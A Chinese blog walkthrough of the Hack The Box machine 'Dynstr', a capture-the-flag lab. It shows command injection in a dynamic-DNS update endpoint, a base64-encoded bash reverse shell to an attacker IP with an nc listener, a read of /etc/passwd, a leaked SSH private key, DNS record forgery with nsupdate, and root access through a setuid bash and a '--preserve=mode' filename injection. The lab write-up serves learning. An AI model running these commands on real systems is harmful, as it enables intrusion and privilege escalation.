栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

dynstr

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

dynstr

开始第一步扫描端口

nmap -sC -sV 10.10.10.244


有80端口,访问,是一个有关DNS的页面

在浏览页面的时候,发现了有趣的东西

几个域名,账户和密码。因为开了22端口,尝试ssh连接,无果。
打开域名网站看看,无法访问,

添加进hosts文件
打开hosts文件

/etc/hosts

添加

10.10.10.244 no-ip.htb   

再次访问

爆出来这个目录,访问空白页面

http://no-ip.htb/nic/

在这个目录上接着爆

http://no-ip.htb/nic/update


然后根据目录和页面的显示的去谷歌搜索

发现了有用的关键信息
这里有一个http示例
Authorization: Basic [base64-ENCODED-USERNAME:PASSWORD-PAIR]
联想到刚刚页面上的账户和密码,这应该就是给我们用的


使用burp抓包

Authorization: Basic ZHluYWRuczpzbmRhbnlk


它返回了一个值,然后又去搜索了一下,总的来说

当您的更新客户端检测到 IP 地址更改时,它应该向我们的服务器发出更新请求。此页面详细介绍了如何提交动态 dns 更新请求

完整的请求应该要加更新的主机域名和ip 【更新的主机域名 就是要加一个不存在的子域名】

这里能够正确的执行了,那我们的利用点在这,就是在这能不能执行命令,fuzz测试

能执行命令

$(id)"


然后弹回shell

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.151/6666  0>&1'   #bash弹回shell代码
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1MS82NjY2ICAwPiYxJw==    #上面代码base64加密
echo+bash的base64加密代码+|+base64+-d+|+bash  #弹回shell完整命令

echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1MS82NjY2ICAwPiYxJw==+|+base64+-d+|+bash

nc监听

nc -lvnp 6666

弹回会话

看一下密码情况

cat  /etc/passwd


发现了两个用户

dyna
bindmgr

进入用户目录,看看有没有可以利用的东西,发现了user.txt和support-case-C62796521


进入support-case-C62796521查看

这个文件中存在ssh私钥

-----BEGIN OPENSSH PRIVATE KEY-----nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnnNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+FnL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdnnUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbXnCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1BqznuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7anXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PnZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvkn+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWsn4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVqnxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUDnPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31knobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2lnu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtSnTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6AnTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuEnBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMvnC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyXnWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDtnU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZnb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoGnjGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==n-----END OPENSSH PRIVATE KEY-----n

复制下来,用ssh连接,结果连不上

但是它说权限太open了,我就给它降权,还是连不上。但是没了 too open的提示了,说明还有其他的条件在限制,不然按道理应该能连的。

chmod 000 id_rsa

在进入的目录中,有一个update文件

 system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);

发现了 nsupdate -k /etc/bind/ddns.key

nsupdate是一个动态DNS更新工具
https://linux.die.net/man/8/nsupdate

也许我们不能ssh的原因是我们的 IP 不在区域中,所以我们必须添加它。我们可以使用 NSUPDATE 命令更新区域

进入/etc/bind,发现了两个key

尝试ddns.key 没用,infra.key才有用。而且这个更新DNS命令,所以一样的,你得添加一个新的子域名,而且得用dyns.htb域名,不能用no-ip。要想ssh能够连接,得添加两个解析

A 记录 域名解析为ip地址
PTR记录 ip地址解析为域名【PTR的ip地址要反过来写】

www-data@dynstr:/etc/bind$ nsupdate -k infra.key
nsupdate -k infra.key
update add xxx.infra.dyna.htb 86400 A 10.10.14.151
send
update add 151.14.10.10.in-addr.arpa 300 PTR xxx.infra.dyna.htb
send

然后我们再使用ssh连接,还是不能连接,但是提示的是权限open,降权

chmod 000 id_rsa

额,直接复制的ssh私钥格式不对,得用echo

echo "-----BEGIN OPENSSH PRIVATE KEY-----nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnnNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+FnL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdnnUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbXnCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1BqznuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7anXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PnZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvkn+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWsn4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVqnxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUDnPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31knobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2lnu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtSnTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6AnTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuEnBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMvnC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyXnWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDtnU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZnb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoGnjGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==n-----END OPENSSH PRIVATE KEY-----n" > id_rsa

然后降权,就能连接了

然后sudo -l 寻找高权限文件提权

sudo -l

cat /usr/local/bin/bindmgr.sh
#通过阅读文件,发现了提权的点


这个文件的运作过程是
首先判断 .version文件是否存在,如果该文件存在,它会创建一个 $BINDMGR_CONF 文件并将 .version 文件复制到 /etc/bind/named.bindmgr/ 目录。

cd /dev/shm
echo "1">.version
cp /bin/bash .
chmod +s /dev/shm/bash
cp /usr/local/bin/bindmgr.sh bindmgr.sh
echo "" > "--preserve=mode" 
sudo bindmgr.sh
cd /etc/bind/named.bindmgr
./bash -p
/dev/shm   
#内存块方便操作
echo "1">.version
#创建.version文件夹
cp /bin/bash .
#复制管道
chmod +s /dev/shm/bash
#给管道赋权
cp /usr/local/bin/bindmgr.sh bindmgr.sh
#复制操作文件
echo "" > "--preserve=mode" 
#特殊设置,让文件再复制的过程中,把权限也复制过去
sudo bindmgr.sh
#执行
./bash -p
#执行管道,此时以获得root权限
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/320814.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号